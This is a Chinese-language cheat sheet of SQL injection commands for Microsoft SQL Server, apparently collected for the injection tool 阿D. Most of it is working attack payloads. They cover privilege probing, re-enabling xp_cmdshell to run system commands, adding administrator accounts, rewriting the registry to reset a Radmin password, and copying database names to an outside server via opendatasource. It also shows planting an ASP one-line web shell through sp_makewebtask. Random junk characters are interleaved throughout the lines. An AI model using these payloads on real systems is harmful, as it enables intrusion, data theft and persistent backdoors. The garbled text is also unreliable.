阿D常用的一些注入命令
: p3 L" i6 i/ o2 x, N//看看是什么权限的, q; p. }4 H, E2 P' e. r, h
and 1=(Select IS_MEMBER('db_owner'))7 u- Y9 E9 G6 p
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--2 t2 M2 n2 X: A' q9 O- A
: ?/ ^8 b* y% D//检测是否有读取某数据库的权限
: U3 V- a5 L: Wand 1= (Select HAS_DBACCESS('master'))' n3 l! T J# j/ O7 Q6 a
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
' I# D2 u# f3 L) M) q5 u$ j; M, e* `& z; c8 L% C
* c y9 n! \' {% Q- o6 U, h% n
数字类型3 u" B& @4 D$ q$ p0 f
and char(124)%2Buser%2Bchar(124)=0
% ~" y$ X+ [: i3 A1 n. r' \3 ^8 e* [9 H: R7 E
字符类型! X# Z- p$ B# A3 b; j4 E& N$ e
' and char(124)%2Buser%2Bchar(124)=0 and ''='/ u/ {; R2 P3 R. B% ]: A
s* R9 v1 z, K! w( F' W搜索类型: f! n* i: q* d# z9 ]
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
, Y$ }8 d3 B" L4 T4 y, [2 j0 E+ A9 r3 f
爆用户名
) t |3 g' _8 q- sand user>0
7 ~( p/ {& ^5 t; g" ]9 L" j' and user>0 and ''='3 R0 O, u* P; q, w0 i* X* ~* `
. L L; c, k% `: N
检测是否为SA权限
- h, x" l# ]6 {& M' r9 K7 }; }and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
1 u) ]9 ?" i" G v% iAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
6 j9 L: T; l( r9 Z1 T0 I$ ~" S" p2 c U7 S+ }) S
检测是不是MSSQL数据库
: D* g& |+ z: X# I5 [/ Cand exists (select * from sysobjects);-- + R3 M, u3 W; P7 }: p
: U* O9 Y: c, A3 k- s% C, Y7 ]检测是否支持多行/ O Z& @/ {2 l5 H
;declare @d int;--
& j$ J1 y8 B/ [) Z4 @& `/ K0 p, k
1 t( g+ j2 R! X4 n' b恢复 xp_cmdshell! }7 t2 ^6 O; N, i- c' i6 i. j7 Y
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
( _6 E. g. E! W5 Q
; D0 V) i' C I3 [: |9 X! T) a/ j! l7 E( v
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') * ~% N/ @) _3 w. ]
* G- w; Q% W3 G//-----------------------
& [: ^; B( W4 V6 p8 ]/ Y$ Z// 执行命令! c: m! H& d4 ]+ T9 U
//-----------------------+ S/ b3 s6 \/ s6 ~: W; A) u
首先开启沙盘模式:. \4 Y4 p+ Q, J* Q
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 t. J$ n6 {0 ]) G
/ m. E4 s8 `6 V; C# N; ~" ]/ F然后利用jet.oledb执行系统命令
* A. T& p. k9 |: kselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
1 p( R# l! E3 u3 B
0 R4 d L" i7 V# Z5 a# |% _( k4 G执行命令$ c+ O% M: F" M9 x# J8 @- Z5 M2 ?
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--; [3 q @# Z9 {9 y& F ^
; l' W% s: j ^EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'* N- T7 A6 q5 E: A
4 Q. \" T$ n, I0 B3 T' Z" }# [
判断xp_cmdshell扩展存储过程是否存在:) [& J2 K$ h* `2 \- e
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
' v, W8 l* O% c! G+ x5 w) K& F. E9 C. M: M5 l
写注册表* r: j Y y% X4 d! k
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
# G P. I$ t! b+ s* f+ X, x( z
/ A) N% g+ k I. h( L5 OREG_SZ- N2 J" A5 [" [( h ^, W# c v
' z2 p8 @! F# D读注册表
# A: d/ f$ f* k Yexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
: G$ p: R; q/ p5 N b( i
" I, |* q, ^. z读取目录内容/ i. k9 @# ]/ Y$ n4 M; @" `0 q
exec master..xp_dirtree 'c:\winnt\system32\',1,1
3 }2 b1 ]+ _: N* f9 \( [5 S
* ?& n6 i6 h7 M- O* ~7 T4 d; V) T0 Z: ^* Y3 y
数据库备份
( t* q/ M' {% I1 s/ Lbackup database pubs to disk = 'c:\123.bak'
+ V' l6 t& q4 d' w$ R" o4 R4 [8 D% q* P+ {+ E6 N
//爆出长度
6 _! ^0 ?' g) X( j; q9 p, DAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--8 j$ a$ c, V0 S0 i" A
9 ?% {8 n/ {0 T+ B7 W0 j
, A" x9 R8 y' X" D( D+ x- G7 j& B+ m4 M4 T
更改sa口令方法:用sql综合利用工具连接后,执行命令:
1 X! I3 f5 r9 f: eexec sp_password NULL,'新密码','sa'
6 b. v; {6 O- \, i/ B# a
) ?* x8 u# W' L- `0 ^添加和删除一个SA权限的用户test:4 }8 T ]- J6 Y$ M3 a; O
exec master.dbo.sp_addlogin test,ptlove9 o/ B3 G- ~& E- L
exec master.dbo.sp_addsrvrolemember test,sysadmin
( O2 `, s% D4 Q6 J6 v
' m/ U- V1 c: O$ Z7 h/ h( T' E删除扩展存储过过程xp_cmdshell的语句:
$ b9 r" G( S( B. Y/ O4 g" }; Oexec sp_dropextendedproc 'xp_cmdshell'
3 `& `2 g; Q9 p5 i. i) X! u$ u- N0 J0 i9 f1 P
添加扩展存储过过程
; z& g2 i4 F6 P/ W- oEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' # N' l: i$ |/ P: B9 Y
GRANT exec On xp_proxiedadata TO public ( Z: D. s) Y. S" ?
4 C" l5 u2 _! w- z3 _* O Z/ y
% L+ o5 W' M+ Z% T: i3 v停掉或激活某个服务。 1 r8 R; }5 B3 `/ p
- d4 N7 j3 @3 D+ u' q0 T s
exec master..xp_servicecontrol 'stop','schedule'
0 D* P( l7 G" Pexec master..xp_servicecontrol 'start','schedule'( q! M# E' F- ^1 O; |/ e! C8 ~
/ W' W$ j7 {4 f4 k
dbo.xp_subdirs8 X/ m# h# R! M( Z* U% F3 B
8 Y9 R- W' |! v( {8 k5 k* n
只列某个目录下的子目录。; I; y) T6 Y( w9 v
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp' I8 j! b9 U3 W
6 A$ L v& A, B, {7 u, s& W( pdbo.xp_makecab
5 _' D3 I! Z% [0 x5 t# n0 l8 l) Q U, E3 H' Y9 I3 |
将目标多个档案压缩到某个目标档案之内。% O& s1 i/ v+ _" ~& o4 ]
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
$ [6 s( S4 t3 O! l! N$ ?
. r' w6 c T$ rdbo.xp_makecab! v$ k( k( T. Z! _" [
'c:\test.cab','mszip',1,
; V Z4 D7 `: u7 E'C:\Inetpub\wwwroot\SQLInject\login.asp',, ?& H4 |6 [9 G* N* `" r: c
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'3 Y. [" n$ x! ]7 ?/ D) x
' a- v, ]. X/ X' ]! {
xp_terminate_process) ^/ S7 X$ G% n, R
! Y# J( V- |% C, b" V3 E2 X
停掉某个执行中的程序,但赋予的参数是 Process ID。) E4 U) t, P* U# X; d( x
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID: v7 G- b. u0 ~- E; f9 ]" e; h
7 i8 T/ `# m& \- X5 G7 c& Jxp_terminate_process 2484
8 F8 N2 }2 E7 D5 y
0 v7 ]- e& C: ?! Nxp_unpackcab
& r, W. @, X! F% s$ N- N) k/ c7 S) Q$ b/ x4 ^
解开压缩档。
% W% {# F8 M s7 l# F7 R
* f' w( n9 {* x+ Wxp_unpackcab 'c:\test.cab','c:\temp',1
8 q; D4 y X4 p
% ?( L* @. G* F* r* Z- J. C6 v
/ ~5 x( ?( o; q$ F' e" {某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
: g. z: r" ~/ h1 j8 p- `+ S+ `( s! y
create database lcx;" s4 P* p2 z( g4 K0 u
Create TABLE ku(name nvarchar(256) null);7 A6 _! f) Z# o! E% s' @( r) T
Create TABLE biao(id int NULL,name nvarchar(256) null);
; o7 d! A5 h: W* v% I1 r# S; ^3 P/ L& R8 I5 d v1 o
//得到数据库名
' n: V1 B' A3 a! v4 @) {5 \insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
% d" x/ m( z& u7 `9 y2 z! Q% i# ^1 T' g. }* ~% G c
3 y. A( l) |0 N/ |; ?, d9 w2 j//在Master中创建表,看看权限怎样
( \ v, q$ b' T2 X$ D! ZCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
: e+ _0 r( |' t( i7 F4 `
2 ]$ D" z, j& [- H/ N2 Q+ y/ t用 sp_makewebtask直接在web目录里写入一句话马:+ Y7 k$ o5 Y# S4 c1 R5 H
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--# P. a5 E' P0 g, s% g3 k) E8 L3 V0 R
, [' X- q& l; f* K1 x5 ^& f//更新表内容. f( g/ G% I$ a; |
Update films SET kind = 'Dramatic' Where id = 123
8 C- K1 c3 h) e0 T0 }
6 [% w/ [9 g$ ?( _9 J' s# u& ?, Y4 b//删除内容5 z! p- \' H. }/ l: A6 w
delete from table_name where Stockid = 3 |